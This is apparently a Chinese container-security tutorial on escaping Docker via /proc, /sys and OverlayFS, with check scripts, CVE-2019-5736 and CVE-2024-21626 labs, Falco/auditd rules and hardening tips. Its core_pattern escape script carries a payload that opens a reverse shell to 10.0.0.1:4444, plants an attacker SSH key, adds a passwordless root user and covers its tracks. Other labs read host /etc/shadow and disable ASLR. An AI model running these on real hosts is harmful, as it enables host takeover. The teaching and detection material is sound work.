→ call_usermodehelper(payload.sh) — 以宿主机 root 身份!
→ payload.sh 执行任意命令 (写入 SSH key / 反向 shell / 添加用户)
→ 逃逸完成
devices 可写接口
/sys/devices/ 下的某些文件在容器中可能可写,这可能导致操纵宿主机硬件状态。在特权容器中,/sys/devices/ 下的块设备、网络设备、GPU 设备等都可能被直接操作。
/proc/sysrq-trigger
SysRq 是一个直接的、可导致拒绝服务的攻击面。写入特定字符到 /proc/sysrq-trigger 可以触发:
b— 立即重启系统o— 关机c— 内核崩溃 (crash dump)s— 同步所有文件系统
4.4 安全测试方法
#!/bin/bash
# proc-sys-security-check.sh — /proc和/sys 安全检查脚本
#
# 用途: 在容器内运行,检查通过 /proc 和 /sys 可获取的宿主机信息
echo "=========================================="
echo " /proc & /sys 安全检测报告"
echo "=========================================="
echo ""
# 1. 检查 /proc/self/mountinfo — 宿主机路径泄漏
echo "[1] /proc/self/mountinfo — OverlayFS 路径泄漏"
echo " Docker 使用 OverlayFS 时,upperdir/workdir 会显示宿主机路径"
HOST_PATHS=$(grep -E '(upperdir|workdir)' /proc/self/mountinfo 2>/dev/null | head -5)
if [ -n "$HOST_PATHS" ]; then
echo " [!] 发现宿主机路径泄漏:"
echo "$HOST_PATHS" | while IFS= read -r line; do
echo " $line"
done
else
echo " [+] 未发现 OverlayFS 路径泄漏"
fi
# 2. 检查 core_pattern 可写性
echo ""
echo "[2] /proc/sys/kernel/core_pattern"
CORE_PATTERN=$(cat /proc/sys/kernel/core_pattern 2>/dev/null)
echo " 当前值: $CORE_PATTERN"
if [ -w /proc/sys/kernel/core_pattern ] 2>/dev/null; then
echo " [!] core_pattern 可写 — 存在 core dump 注入逃逸风险!"
else
echo " [+] core_pattern 只读 (受保护)"
fi
# 3. 检查 /proc/sysrq-trigger
echo ""
echo "[3] /proc/sysrq-trigger (SysRq 命令)"
if [ -w /proc/sysrq-trigger ] 2>/dev/null; then
echo " [!] SysRq 接口可写 — 可重启/崩溃系统!"
else
echo " [+] SysRq 不可写"
fi
# 4. 检查可访问的宿主机进程
echo ""
echo "[4] 宿主机进程可见性"
VISIBLE_PROCS=0
for pid_entry in /proc/*; do
pid_num=$(basename "$pid_entry" 2>/dev/null)
if ! [[ "$pid_num" =~ ^[0-9]+$ ]]; then
continue
fi
# 检查是否有外部 PID NS 的进程
my_ns=$(readlink /proc/self/ns/pid)
target_ns=$(readlink "$pid_entry/ns/pid" 2>/dev/null)
if [ "$my_ns" != "$target_ns" ] && [ -n "$target_ns" ]; then
cmd=$(tr '\0' ' ' < "$pid_entry/cmdline" 2>/dev/null | head -c 80)
echo " [!] PID $pid_num (外部): $cmd"
VISIBLE_PROCS=$((VISIBLE_PROCS + 1))
fi
done
if [ $VISIBLE_PROCS -eq 0 ]; then
echo " [+] 未发现外部进程 (PID NS 隔离有效)"
fi
# 5. 检查 /proc/kallsyms (KASLR 泄漏)
echo ""
echo "[5] /proc/kallsyms — 内核符号地址 (KASLR 绕过)"
if [ -r /proc/kallsyms ] 2>/dev/null; then
echo " [!] /proc/kallsyms 可读!"
echo " 示例符号:"
head -5 /proc/kallsyms 2>/dev/null
else
echo " [+] /proc/kallsyms 不可读 (KPTI/KASLR 保护)"
fi
# 6. 检查 /proc/kcore
echo ""
echo "[6] /proc/kcore — 内核内存镜像"
if [ -r /proc/kcore ] 2>/dev/null; then
echo " [!] /proc/kcore 可读 — 可读取内核内存!"
ls -la /proc/kcore
else
echo " [+] /proc/kcore 不可读"
fi
# 7. 检查 /proc/self/fd 泄漏
echo ""
echo "[7] /proc/self/fd — 文件描述符泄漏"
echo " 当前打开的文件描述符数: $(ls /proc/self/fd 2>/dev/null | wc -l)"
# 8. 检查 /sys 可写路径
echo ""
echo "[8] /sys 可写路径检查"
find /sys -type f -writable 2>/dev/null | head -10
# 9. 检查 /proc/sys 可写项
echo ""
echo "[9] /proc/sys 可写参数检查"
find /proc/sys -type f -writable 2>/dev/null | head -20
echo ""
echo "=========================================="
echo " 检查完成"
echo "=========================================="
4.5 逃逸利用技术
CVE-2019-5736 — /proc/self/exe 覆盖宿主机 runc
#!/bin/bash
# escape-cve-2019-5736.sh
# runc /proc/self/exe 覆盖攻击 (CVE-2019-5736) 原理演示
#
# 漏洞原理:
# runc (容器运行时) 在 exec 用户进程时,会将自身二进制文件
# 的文件描述符打开为 /proc/self/exe (指向 /usr/bin/runc)。
# 攻击者可以通过以下步骤覆盖宿主机 runc 二进制文件:
#
# 1. 在容器内打开 /proc/self/exe 获取 runc 二进制的 fd
# 2. 等待 runc 执行容器内进程 (如 docker exec)
# 3. runc 在执行时短暂处于宿主机上下文
# 4. 攻击者通过 /proc/self/fd/<n> 写 runc 的二进制文件
# 5. 下次 runc 执行时运行恶意代码
#
# 前置条件:
# - runc <= 1.0-rc6 (修复前版本)
# - 容器内 root 权限
# - 能触发 docker exec 操作
echo "[*] CVE-2019-5736 /proc/self/exe 攻击链 (原理演示)"
echo "==================================================="
echo ""
echo "攻击步骤:"
echo " 1. 在容器内打开 /proc/self/exe → 获得 runc 的 fd"
echo " 2. 创建恶意 payload (替换 /usr/bin/runc)"
echo " 3. 等待管理员执行 docker exec 触发 execve"
echo " 4. runc execve 时攻击者通过 fd 写 runc 二进制"
echo " 5. 下次任何容器操作时执行 payload"
echo ""
# 实际的 CVE-2019-5736 利用 (概念代码)
cat > /tmp/cve-2019-5736-exploit.c << 'CVE5736_EOF'
/*
* CVE-2019-5736 Exploit (概念演示)
* 编译: gcc -o cve-2019-5736-exploit cve-2019-5736-exploit.c
*
* 以下代码演示攻击的核心逻辑,并非完整可运行的exploit。
* 完整利用需要处理许多race condition和触发时机问题。
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/inotify.h>
#include <sys/stat.h>
/*
* 攻击流程:
* 1. 打开 /proc/self/exe 获取 runc 文件描述符
* 2. 设置 inotify 监控 /proc/self/exe 的 exec 事件
* 3. 当检测到 exec 时 (runc 重新执行自身):
* a. 通过 /proc/fd/<n> 获取 runc 的写文件描述符
* b. 将恶意 payload 写入 runc 二进制
* c. 恶意 payload 将在宿主机上下文中执行
*/
int main() {
int fd, notify_fd, wd;
char self_path[64];
char fd_path[64];
printf("[CVE-2019-5736] Exploit Demo\n");
/* 第1步: 获取 /proc/self/exe 的 fd */
fd = open("/proc/self/exe", O_RDONLY);
if (fd < 0) {
perror("open /proc/self/exe");
return 1;
}
printf("[1] /proc/self/exe fd = %d\n", fd);
/* 第2步: 设置 inotify */
notify_fd = inotify_init();
if (notify_fd < 0) {
perror("inotify_init");
return 1;
}
snprintf(self_path, sizeof(self_path), "/proc/self/fd/%d", fd);
wd = inotify_add_watch(notify_fd, "/proc/self/exe", IN_ACCESS | IN_OPEN);
printf("[2] inotify 监控 /proc/self/exe (wd=%d)\n", wd);
/* 第3步: 等待触发 */
printf("[3] 等待宿主执行 docker exec 以触发 execve...\n");
printf(" 提示: 在宿主机上执行 docker exec <container> /bin/sh\n");
/*
* 当 runc exec 时:
* 1. runc 通过 /proc/self/exe 重新执行自身
* 2. 此时 runc 的文件描述符在宿主机命名空间中
* 3. 攻击者可以通过 /proc/self/fd/<n> 获取写权限
* 4. 将 payload 写入 runc 二进制
*
* 恶意 payload 内容 (Go 程序):
* package main
* import "os/exec"
* func main() {
* // 恢复原始 runc 二进制
* exec.Command("/bin/sh").Run()
* }
*/
/* 实际攻击代码涉及复杂的 race condition 和 IO 操作 */
printf("[-] 此演示代码不包含完整的利用链\n");
printf("[-] 完整利用请参考: https://github.com/Frichetten/CVE-2019-5736-PoC\n");
close(fd);
close(notify_fd);
return 0;
}
CVE5736_EOF
echo "[*] CVE-2019-5736 利用代码已写入 /tmp/cve-2019-5736-exploit.c"
CVE-2019-5736 攻击链图解:
宿主机 容器
runc 进程 init 进程
│ │
│ open(/proc/self/exe) │
│ → fd 3 (runc 二进制) │
│ │
│ execve(用户进程) │
├─────────────→ │
│ fork/exec → 子进程继承 fd 3
│ │
│ 攻击者 open(/proc/self/exe, O_WRONLY)
│ 攻击者 write(fd, payload)
│ │
│ 下次 docker exec ──→ 执行被篡改的 runc ──→ 攻击者代码运行
runc CVE-2024-21626 — cwd fd 泄漏
#!/bin/bash
# escape-cve-2024-21626.sh
# runc CVE-2024-21626 工作目录 fd 泄漏原理分析
#
# 漏洞原理:
# runc 在执行容器进程时,没有正确关闭自己打开的工作目录
# 文件描述符。攻击者可以通过 /proc/self/fd/<n> 访问 runc
# 的工作目录,进而访问宿主机文件系统。
#
# 前置条件:
# - runc < 1.1.12 (修复前版本)
# - 容器内能访问 /proc
echo "[*] CVE-2024-21626 分析"
echo "======================="
echo ""
echo "攻击矩阵:"
echo " 1. runc 未关闭 cwd fd → 容器可访问宿主机目录"
echo " 2. 容器内检查 /proc/self/fd/ 寻找宿主机文件描述符"
echo " 3. 通过 fd 读写宿主机文件"
echo ""
# 检查是否存在泄漏的 fd
echo "[检测] 检查是否存在泄漏的宿主机文件描述符..."
for fd_path in /proc/self/fd/*; do
if [ -L "$fd_path" ]; then
target=$(readlink "$fd_path" 2>/dev/null)
fd_num=$(basename "$fd_path")
# 检查目标是否在容器文件系统外部
if [ -n "$target" ] && [ ! -e "$target" ] 2>/dev/null; then
echo " [!] fd $fd_num → $target (宿主机路径!)"
fi
fi
done
echo ""
echo "[*] 受影响版本: runc < 1.1.12"
echo "[*] 修复: 升级 runc 到 1.1.12+,或确保 runc 正确关闭 fd"
CVE-2024-21626 故障时间线:
runc 内部执行流程:
1. chdir(/tmp/runc-abc123) ← cwd fd 指向宿主机 /tmp/runc-abc123
2. chdir(rootfs) ← cwd fd 仍然指向 /tmp/runc-abc123!
3. execve(容器 init) ← fd 被继承到容器进程
4. 容器内: ls /proc/self/fd/7 → /tmp/runc-abc123 (宿主机目录!)
修复 (runc 1.1.12+):
2.5 close(old_cwd_fd) ← 在 execve 前显式关闭旧 cwd fd
core_pattern 注入利用
#!/bin/bash
# escape-core-pattern.sh
# 通过 core_pattern 注入实现容器逃逸
#
# 前置条件:
# 1. 容器内有特权 (可写 /proc/sys/kernel/core_pattern)
# 2. 容器可访问宿主机文件系统
#
# 攻击原理: 利用内核在进程崩溃时自动执行的 core dump handler
echo "[*] Core Pattern 注入逃逸"
echo "========================="
# 第1步: 准备 payload
PAYLOAD="/tmp/.core_handler.sh"
cat > "$PAYLOAD" << 'EOF'
#!/bin/bash
# 当内核触发 core dump 时,此脚本将以 root 身份在宿主机上执行
# 攻击者可以在此执行任意命令
# 方法1: 写入 SSH authorized_keys
mkdir -p /root/.ssh 2>/dev/null
echo "ssh-rsa AAAAB3NzaC1yc2E...ATTACKER_KEY" >> /root/.ssh/authorized_keys 2>/dev/null
chmod 600 /root/.ssh/authorized_keys 2>/dev/null
# 方法2: 反向 shell
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 2>/dev/null &
# 方法3: 添加特权用户
echo "backdoor::0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null
EOF
chmod +x "$PAYLOAD"
echo "[1] Payload 已创建: $PAYLOAD"
# 第2步: 修改 core_pattern
echo "[2] 修改 core_pattern..."
if [ -f /proc/sys/kernel/core_pattern ] && [ -w /proc/sys/kernel/core_pattern ]; then
# 保存原始值
OLD_CORE=$(cat /proc/sys/kernel/core_pattern)
echo " 原始 core_pattern: $OLD_CORE"
# 设置管道处理器 (以 | 开头)
# 注意: 路径必须是宿主机上的路径
echo "|$PAYLOAD %p %s %u %g %e" > /proc/sys/kernel/core_pattern
NEW_CORE=$(cat /proc/sys/kernel/core_pattern)
echo " 当前 core_pattern: $NEW_CORE"
echo " [!] core_pattern 已修改为管道处理器"
else
echo " [-] core_pattern 不可写"
echo " [-] 需要特权容器或适当的 CAP 配置"
exit 1
fi
# 第3步: 触发进程崩溃
echo "[3] 触发进程崩溃 (产生 core dump)..."
sleep 3 &
TRIGGER_PID=$!
# 发送 SIGSEGV 触发 core dump
kill -SEGV $TRIGGER_PID 2>/dev/null
# 或者通过程序触发 (更可控)
python3 -c "
import os, signal
# 或者 create a segfault
# os.kill(os.getpid(), signal.SIGSEGV)
" 2>/dev/null
echo " Core dump 已触发,payload 应在宿主机上执行"
# 第4步: 恢复 core_pattern (避免被发现)
echo "[4] 恢复 core_pattern..."
echo "$OLD_CORE" > /proc/sys/kernel/core_pattern 2>/dev/null
echo ""
echo "[*] 检查攻击效果:"
echo " ssh root@<宿主机IP> # 如果 SSH key payload 生效"
echo " nc -lvnp 4444 # 如果反向 shell payload 生效"
/proc/1/root 目录遍历
#!/bin/bash
# escape-proc-root.sh
# 通过 /proc/<pid>/root 目录遍历访问宿主机文件
#
# 前置条件:
# 1. 容器可访问宿主机进程的 /proc/<pid>/root
# 2. 在 PID NS 中有宿主机进程的 PID 编号
echo "[*] /proc/<pid>/root 目录遍历攻击"
# 方法 1: 如果 PID 1 是容器运行时进程
echo "[1] 尝试通过 /proc/1/root 访问宿主机..."
if [ -e /proc/1/root/etc/os-release ]; then
echo " [+] PID 1 的 root 可访问"
cat /proc/1/root/etc/os-release 2>/dev/null
else
echo " [-] PID 1 的 root 不可直接访问"
fi
# 方法 2: 搜索宿主机进程的 root
echo "[2] 扫描可见的外部进程 root..."
for pid_entry in /proc/*; do
pid=$(basename "$pid_entry")
if ! [[ "$pid" =~ ^[0-9]+$ ]]; then
continue
fi
# 尝试访问该进程视角的根目录
if [ -e "/proc/$pid/root/etc/passwd" ] 2>/dev/null; then
# 检查该 passwd 是否与容器内不同
container_passwd=$(md5sum /etc/passwd 2>/dev/null | cut -d' ' -f1)
host_passwd=$(md5sum "/proc/$pid/root/etc/passwd" 2>/dev/null | cut -d' ' -f1)
if [ "$container_passwd" != "$host_passwd" ] && [ -n "$host_passwd" ]; then
echo " [!] PID $pid 的 root 可访问 (宿主机文件系统)"
echo " /proc/$pid/root/etc/passwd 内容:"
head -3 "/proc/$pid/root/etc/passwd" 2>/dev/null
break
fi
fi
done
4.6 实验复现
实验 4.6.1 — /proc 文件系统滥用 (宿主机进程信息收集)
# 前置条件: 特权容器
docker run -dit --name proc-test --privileged alpine:latest
docker exec -it proc-test /bin/sh
# 收集宿主机信息
cat /proc/1/cmdline | tr '\0' ' '; echo # 宿主机 PID 1 的启动命令
cat /proc/1/environ | tr '\0' '\n' # 宿主机环境变量(可能含密码)
cat /proc/1/mountinfo # 宿主机挂载信息
cat /proc/version # 内核版本
# 查看宿主机网络
cat /proc/net/tcp # TCP 连接表
cat /proc/net/tcp6 # IPv6 TCP 连接表
cat /proc/net/route # 路由表
# 修改内核参数
echo 1 > /proc/sys/net/ipv4/ip_forward # 开启 IP 转发
echo 0 > /proc/sys/kernel/randomize_va_space # 关闭 ASLR
cat /proc/sys/kernel/randomize_va_space # 验证
# 0 = 关闭!
实验 4.6.2 — /proc/sys 内核参数修改影响验证
# 在特权容器内修改内核参数
echo "宿主机内核参数修改实验"
# 修改前(宿主机上执行)
sudo cat /proc/sys/net/ipv4/conf/all/accept_source_route
# 1
# 在容器内修改
echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route
# 修改后(宿主机上执行)
sudo cat /proc/sys/net/ipv4/conf/all/accept_source_route
# 0 — 宿主机的内核参数被容器修改了!
# 恢复
echo 1 > /proc/sys/net/ipv4/conf/all/accept_source_route
实验 4.6.3 — CVE-2019-5736 runc /proc/self/exe 劫持
# 检查 runc 版本
docker run --rm alpine runc --version
# runc version 1.x.x
# 受影响: runc < 1.0-rc9, Docker < 18.09.2
# 如果版本受影响,进行实验:
# Step 1: 创建受害者容器
docker run -dit --name runc-pwn alpine:latest
docker exec -it runc-pwn /bin/sh
# Step 2: 找到 runc 的 fd
ls -la /proc/self/fd/
# 寻找指向 /proc/self/exe 的 fd
# Step 3: 编写覆写程序
cat > /tmp/overwrite_runc.c << 'EXPLOIT'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
int main() {
// 在 /proc/self/fd/ 中查找 runc 的 fd
// runc 二进制的 fd 通常是 3 或其他数字
// 通过检查 /proc/self/exe 的链接目标确认
int fd = open("/proc/self/exe", O_WRONLY);
if (fd < 0) {
perror("open /proc/self/exe for write");
// 尝试其他方式
// 在真实利用中,需要找到指向宿主机 runc 的 fd
return 1;
}
// 写入 shebang payload
char payload[] = "#!/bin/sh\nid > /tmp/pwned\n";
// 注意: 不能完全覆盖 ELF header,需要保留足够多的头部
// 让 runc 仍然被识别为可执行文件
// 实际利用更复杂,需要:
// 1. 保留 ELF header
// 2. 在特定偏移注入 payload
// 3. 让 runc 在加载后跳转到 payload
close(fd);
return 0;
}
EXPLOIT
echo "[*] CVE-2019-5736 需要旧版 runc 环境"
echo "[*] 当前环境可能已修复此漏洞"
echo "[*] 完整 exploit 参考: https://github.com/Firoj891/CVE-2019-5736"
CVE-2019-5736 关键机制深入分析:
宿主机 runc 进程 → open(/proc/self/exe) → 获得 fd 3 (指向 runc 二进制)
→ fork → 容器 init 进程继承 fd 3
→ 容器内攻击者通过 /proc/self/fd/3 写入恶意内容
→ 宿主机下次调用 runc → 执行被篡改的代码
为什么这个漏洞难以检测:
- 攻击窗口极短(runc exec 期间的微秒级窗口)
- 篡改发生在宿主机文件系统上,容器内不留下明显痕迹
- runc 二进制本身可能被多个容器使用,影响面广
实验 4.6.4 — CVE-2024-21626 runc 工作目录 fd 泄漏
# 检查版本
docker version -f '{{.Server.Version}}'
# Docker < 24.0.0 或 runc < 1.1.12 受影响
# Step 1: 创建容器 (使用受影响版本的 Docker)
docker run -dit --name fd-leak alpine:latest
docker exec -it fd-leak /bin/sh
# Step 2: 检查所有 fd 的真实指向
for fd in /proc/self/fd/*; do
target=$(readlink $fd 2>/dev/null)
echo "fd $(basename $fd) -> $target"
done
# 寻找指向宿主机路径(非容器内路径)的 fd
# 正常容器所有 fd 都指向容器内路径
# 但 CVE-2024-21626 中,会有一个 fd 指向宿主机
# Step 3: 如果发现宿主机 fd
HOST_FD=<指向宿主机的fd编号>
ls -la /proc/self/fd/$HOST_FD/
# 看到的是宿主机文件!
# 读取宿主机文件
cat /proc/self/fd/$HOST_FD/etc/shadow 2>/dev/null
# 写入 SSH key
mkdir -p /proc/self/fd/$HOST_FD/root/.ssh 2>/dev/null
echo "ssh-rsa AAAA..." > /proc/self/fd/$HOST_FD/root/.ssh/authorized_keys 2>/dev/null
echo "[*] CVE-2024-21626 需要旧版 runc (v1.1.12 之前)"
echo "[*] 如果所有 fd 都指向容器内路径,说明已修复"
修复原理: runc 1.1.12 中,在 execve 前添加了 close(runcCwdFd) 关闭旧的工作目录 fd。
实验 4.6.5 — 清理实验环境
# 清理所有实验容器
docker stop proc-test runc-pwn fd-leak 2>/dev/null
docker rm proc-test runc-pwn fd-leak 2>/dev/null
4.7 检测规则
# falco-rules-proc-sys.yaml
# /proc 和 /sys 操作检测规则
- rule: Core Pattern Modification
desc: 检测 /proc/sys/kernel/core_pattern 被修改
condition: >
container and
(open_write and fd.name = "/proc/sys/kernel/core_pattern")
output: >
[proc/sys] core_pattern 被修改!
container=%container.name
user=%user.name
command=%proc.cmdline
old_value=%evt.arg.old
new_value=%evt.arg.new
priority: CRITICAL
tags: [container, proc, sys, escape, core_pattern]
- rule: SysRq Trigger Access
desc: 检测访问 /proc/sysrq-trigger
condition: >
container and
(open_write and fd.name = "/proc/sysrq-trigger")
output: >
[proc/sys] SysRq 触发!
container=%container.name
user=%user.name
command=%proc.cmdline
priority: CRITICAL
tags: [container, proc, sysrq]
- rule: Access to Host Process /proc entries
desc: 检测容器内进程访问宿主机进程的 /proc 条目
condition: >
container and
(open_read and fd.name glob "/proc/*/root/*" and
not fd.name contains "/proc/self/" and
not proc.name in (cat, ps, top, htop))
output: >
[proc/sys] 访问宿主机进程 root
container=%container.name
user=%user.name
target=%fd.name
command=%proc.cmdline
priority: HIGH
tags: [container, proc, escape, host_access]
- rule: Proc Mount Information Leakage
desc: 检测读取 /proc/self/mountinfo (宿主机路径泄漏)
condition: >
container and
(open_read and fd.name = "/proc/self/mountinfo") and
not proc.name in (docker, containerd, runc)
output: >
[proc/sys] mountinfo 被读取 (可能泄漏宿主机路径)
container=%container.name
user=%user.name
command=%proc.cmdline
priority: WARNING
tags: [container, proc, information_disclosure]
# auditd-proc-sys.rules
# /proc 和 /sys 审计规则
# 监控 core_pattern 写入
-w /proc/sys/kernel/core_pattern -p wa -k core_pattern_write
# 监控 sysrq-trigger 写入
-w /proc/sysrq-trigger -p wa -k sysrq_write
# 监控 /proc/sys 的其他敏感文件
-w /proc/sys/kernel/modprobe -p wa -k modprobe_write
-w /proc/sys/vm/mmap_min_addr -p wa -k mmap_config
4.8 加固方案
| 加固措施 | 具体操作 | 防御层级 | 效果 |
|---|---|---|---|
| /proc 敏感文件只读 | docker run --security-opt 或 seccomp |
容器层 | 阻止 core_pattern 和 sysrq 写入 |
| PID Namespace 隔离 | 默认启用的 PID NS (非 host 模式) | 内核层 | 限制宿主机进程可见性 |
| User NS 映射 | 容器内 root ≠ 宿主机 root | 内核层 | 限制 /proc/*/root 访问权限 |
| seccomp 过滤 | 禁止 ptrace、process_vm_writev |
容器运行时 | 阻止进程注入 |
| AppArmor/SELinux | 规则限制对 /proc/*/root 的访问 | LSM 层 | 文件级强制访问控制 |
| procfs hidepid | mount -o remount,hidepid=2 /proc |
内核层 | 隐藏其他用户的进程信息 |
安全 Docker run 命令:
docker run \
--cap-drop ALL \
--cap-add NET_BIND_SERVICE \
--security-opt no-new-privs \
--security-opt seccomp=default.json \
--read-only \
--tmpfs /tmp \
nginx:alpine
注意: 不要使用
--pid=host,这会暴露宿主机所有进程的/proc条目,极大增加攻击面。
第五章 OverlayFS — 分层文件系统的裂缝
关键理解: OverlayFS 是一个内核实现的联合文件系统。Docker 依赖 OverlayFS 实现镜像分层。OverlayFS 的安全依赖于正确处理文件系统操作之间的竞态和路径隔离,但它的设计与容器隔离假设存在天然冲突。
5.1 设计原理与内核实现
什么是 OverlayFS
OverlayFS 是一个联合文件系统(Union Filesystem),它将多个目录"堆叠"在一起形成一个统一的视图。Docker 使用 OverlayFS 来实现镜像层的叠加:只读的镜像层(lower)位于下层,可写的容器层(upper)位于上层。
┌─────────────────────────────────────────────────────┐
│ 容器内的文件系统视图 │
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ upperdir (容器可写层 - rw) │ │
│ │ /var/lib/docker/overlay2/<id>/diff/ │ │
│ │ 容器运行时的修改保存在这里 │ │
│ └──────────────────────────────────────────────┘ │
│ ↓ │
│ ┌──────────────────────────────────────────────┐ │
│ │ lowerdir 1 (镜像层 - ro) │ │
│ │ 应用代码和依赖 │ │
│ ├──────────────────────────────────────────────┤ │
│ │ lowerdir 2 (基础镜像层 - ro) │ │
│ │ 操作系统库 │ │
│ └──────────────────────────────────────────────┘ │
│ ↓ │
│ ┌──────────────────────────────────────────────┐ │
│ │ workdir (内核内部工作目录) │ │
│ │ 用于 copy-up 操作的临时准备区域 │ │
│ └──────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────┘
内核数据结构
// linux/fs/overlayfs/ovl_entry.h
// OverlayFS 的核心 super_block 私有数据
struct ovl_fs {
struct vfsmount *upper_mnt; /* 上层 (upper) 挂载点 — 可写层 */
unsigned int numlower; /* 下层 (lower) 层数 */
struct ovl_layer *lower_layers; /* 下层数组 (从 lowerdir0 → lowerdirN) */
unsigned int numdatalayers; /* 数据层数 */
struct ovl_layer *data_layers; /* 数据层数组 */
struct ovl_entry *oe; /* overlay inode 关联信息 */
/* 安全相关 */
struct ovl_layer *lowerpath_layer; /* 本地路径所在的层 */
const struct cred *creator_cred; /* 创建者的凭据 */
bool noxattr; /* 是否禁用扩展属性 */
bool metacopy; /* 元数据复制模式 */
bool userxattr; /* 用户扩展属性存储 */
bool redirect_dir; /* 重定向目录功能 */
struct workqueue_struct *workqueue; /* 异步操作工作队列 */
};
// linux/fs/overlayfs/overlayfs.h
// Overlay 层的定义
struct ovl_layer {
struct vfsmount *mnt; /* 该层的挂载点 */
struct ovl_sb *fs; /* 反向引用 */
struct ovl_path *lowerstack; /* 下级堆叠路径 */
int idx; /* 层索引 (0 = uppermost) */
};
挂载参数解析
// linux/fs/overlayfs/super.c
// OverlayFS 挂载参数
enum {
Opt_lowerdir, // 只读底层目录
Opt_lowerdir_add, // 增量添加底层
Opt_datadir_add, // 增量添加数据层
Opt_upperdir, // 可写顶层目录
Opt_workdir, // 内部工作目录
Opt_default_permissions, // 默认权限模型
Opt_redirect_dir, // 重定向目录支持
Opt_index, // 索引特性
Opt_uuid, // UUID 支持
Opt_nfs_export, // NFS 导出
Opt_userxattr, // 用户命名空间 xattr
Opt_xino, // 扩展 inode 编号
Opt_metacopy, // 元数据复制
Opt_volatile, // 易失模式
};
// 挂载示例对应的内核数据结构:
// mount -t overlay overlay -o lowerdir=/lower,upperdir=/upper,workdir=/work /mnt
//
// lowerdir = 只读的镜像层目录
// upperdir = 容器修改写入的目录
// workdir = 与 upperdir 在同一文件系统上,用于原子操作
5.2 内核联合挂载流程(copy-up 操作详解)
copy-up 流程 (当容器首次修改只读层文件时触发):
状态 A: 文件仅存在于 lowerdir (镜像层)
┌─────────────────────────────────────────────┐
│ lowerdir/foo.txt (只读) │
│ 内容: "original content" │
│ │
│ upperdir/ (空) │
└─────────────────────────────────────────────┘
状态 B: 容器写入 foo.txt 时
┌─────────────────────────────────────────────┐
│ lowerdir/foo.txt (只读 - 不变) │
│ 内容: "original content" │
│ │
│ upperdir/foo.txt (可写 - copy-up 结果) │
│ 内容: "original content" ← 从 lower 复制 │
│ │
│ 容器写入操作 │
│ ↓ │
│ upperdir/foo.txt (修改后) │
│ 内容: "modified content" │
└─────────────────────────────────────────────┘
内核实现 (简化):
1. ovl_open() → 检测文件在只读层
2. ovl_copy_up() → 触发 copy-up
3. ovl_copy_up_one() → 从 lower 复制到 upper
4. ovl_copy_up_data() → 逐页复制数据
5. 修改后的写操作重定向到 upperdir 中的副本
// linux/fs/overlayfs/copy_up.c
// copy-up 操作的核心函数
static int ovl_copy_up_one(struct ovl_copy_up_ctx *c, struct path *next,
struct ovl_path *lowerpath, struct path *upperpath)
{
struct dentry *lowerdentry = lowerpath->dentry;
struct dentry *upperdentry = upperpath->dentry;
int err;
/* 第1步: 在 upperdir 中创建临时文件 */
if (S_ISDIR(lowerdentry->d_inode->i_mode)) {
/* 处理目录: 递归创建 */
err = ovl_copy_up_dir(c, upperpath);
} else {
/* 处理文件: 创建并复制数据 */
err = ovl_copy_up_file(c, upperpath);
}
/* 第2步: 复制扩展属性 */
if (!err)
err = ovl_copy_up_xattr(lowerpath, upperpath);
/* 第3步: 原子替换 (rename) */
if (!err)
err = ovl_copy_up_meta(c, upperpath);
return err;
}
static int ovl_copy_up_file(struct ovl_copy_up_ctx *c, struct path *upperpath)
{
struct file *lower_file, *upper_file;
loff_t len;
/* 打开 lower 文件 (源) */
lower_file = ovl_path_open(c->lowerpath, O_RDONLY | O_LARGEFILE);
if (IS_ERR(lower_file))
return PTR_ERR(lower_file);
/* 在 upper 中创建文件 (目标) */
upper_file = ovl_upper_file_open(upperpath,
O_WRONLY | O_TRUNC | O_LARGEFILE);
if (IS_ERR(upper_file)) {
fput(lower_file);
return PTR_ERR(upper_file);
}
/* 逐页复制: 使用 do_splice_direct() 零拷贝传输 */
len = i_size_read(file_inode(lower_file));
err = vfs_copy_file_range(file_inode(lower_file), 0,
file_inode(upper_file), 0, len, 0);
/* 注意: 这个复制发生在宿主机文件系统层面
* 而非容器层面!这是一个关键的信任边界问题 */
fput(lower_file);
fput(upper_file);
return err;
}
信任边界问题分析:
copy-up 操作中的 vfs_copy_file_range() 调用在内核态直接操作宿主机文件系统上的文件描述符。这意味着:
- copy-up 绕过了容器内的文件系统权限检查
- 复制过程中 lower 文件的内容以宿主机上下文读取
- upper 文件的创建和写入也以宿主机上下文进行
- 如果攻击者能在 copy-up 期间插入恶意操作(如符号链接),就能将文件内容重定向到宿主机任意位置
5.3 安全测试方法
#!/bin/bash
# overlayfs-security-check.sh — OverlayFS 安全检测脚本
#
# 用途: 检查容器使用的 OverlayFS 配置是否存在安全隐患
echo "=========================================="
echo " OverlayFS 安全检测报告"
echo "=========================================="
echo ""
# 1. 通过 mountinfo 分析 OverlayFS 配置
echo "[1] OverlayFS 挂载信息分析"
MOUNT_INFO=$(grep "overlay" /proc/self/mountinfo 2>/dev/null)
if [ -n "$MOUNT_INFO" ]; then
echo " 已挂载的 OverlayFS:"
echo "$MOUNT_INFO" | while IFS= read -r line; do
echo " $line"
# 提取 upperdir 和 workdir 路径
upperdir=$(echo "$line" | grep -oP 'upperdir=[^,]+' | sed 's/upperdir=//')
workdir=$(echo "$line" | grep -oP 'workdir=[^,]+' | sed 's/workdir=//')
lowerdir=$(echo "$line" | grep -oP 'lowerdir=[^,]+' | sed 's/lowerdir=//')
if [ -n "$upperdir" ]; then
echo " → upperdir: $upperdir"
echo " → 此为宿主机路径! 攻击者可利用此信息"
fi
if [ -n "$workdir" ]; then
echo " → workdir: $workdir"
fi
if [ -n "$lowerdir" ]; then
echo " → lowerdir: $lowerdir"
# 检查 lowerdir 中是否包含敏感路径
if echo "$lowerdir" | grep -qE '/var/lib/docker|/etc/'; then
echo " [!] lowerdir 暴露敏感宿主机路径!"
fi
fi
done
else
echo " [-] 未检测到 OverlayFS 挂载"
fi
# 2. 检查容器的 OverlayFS 使用的存储驱动
echo ""
echo "[2] Docker 存储驱动信息"
if [ -f /etc/docker/daemon.json ]; then
echo " daemon.json 内容:"
cat /etc/docker/daemon.json 2>/dev/null
else
echo " [-] daemon.json 不可见"
fi
# 3. 检查宿主机路径泄漏
echo ""
echo "[3] 宿主机路径泄漏检查"
